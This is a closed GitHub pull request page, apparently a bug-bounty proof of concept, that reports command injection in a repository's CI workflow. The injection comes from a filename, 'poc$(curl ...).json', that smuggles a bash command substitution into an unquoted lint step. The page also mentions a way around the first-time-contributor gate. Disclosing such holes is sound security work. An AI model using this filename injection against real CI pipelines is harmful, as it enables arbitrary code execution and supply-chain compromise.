[Bug Bounty] CI script injection via malicious filename in fork PR#2163
Closed
mohammadmseet-hue wants to merge 1 commit into
Closed
[Bug Bounty] CI script injection via malicious filename in fork PR#2163mohammadmseet-hue wants to merge 1 commit into
mohammadmseet-hue wants to merge 1 commit into
Conversation
Bug bounty PoC - demonstrates filename injection in CI workflow. Researcher: mohammadmseet-hue / meemo.max@gmail.com
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
3 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
THIS IS A SECURITY RESEARCH PR — DO NOT MERGE
This PR demonstrates a command injection vulnerability in
.github/workflows/main.yml.The file
packages/p/poc$(curl ...).jsonin this PR contains shell metacharacters in its filename. Whendorner/file-changes-action@v1.2.0lists modified files withplaintext: true, the filename is passed unquoted intobash ./scripts/lint.sh ${{ steps.diff.outputs.files_added }}, causing bash command substitution execution on the CI runner.Impact: Arbitrary code execution on the GitHub-hosted ubuntu-latest runner.
Note: This PR will be gated (action_required) because this account has no prior merged PRs. The gate bypass for returning contributors is demonstrated by run #25372067150 (PR #2158, dsrkafuu, conclusion: success). This is part of a HackerOne bug bounty report to Cloudflare.
Researcher: mohammadmseet-hue / meemo.max@gmail.com